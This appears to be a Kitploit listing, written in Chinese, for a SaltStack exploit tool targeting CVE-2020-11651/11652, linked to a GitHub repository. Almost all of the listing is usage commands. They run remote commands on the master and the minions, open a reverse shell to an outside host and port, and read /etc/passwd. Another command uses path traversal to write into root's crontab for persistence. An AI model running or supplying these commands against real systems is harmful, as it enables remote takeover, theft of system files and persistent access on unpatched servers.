CVE-2020-11652 — SaltStack CVE（CVE-2020-11651/11652）漏洞利用工具，可在 master/minion 上实现远程命令执行、文件读取/上传以及反弹 Shell。 | Kitploit

SaltStack-Exp

CVE-2020-11651 CVE-2020-11652

执行主控端：

python exp.py --exec-choose master --exec-cmd "whoami"

执行被控端：

python exp.py --exec-choose minions --exec-cmd "whoami"

获取Shell：

python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444

读取文件：

python exp.py --read /etc/passwd

上传文件：

python exp.py --upload-src "/test/root" --upload-dest "../../../../../../../../var/spool/cron/crontabs/root"

来自：https://github.com/bravery9/SaltStack-Exp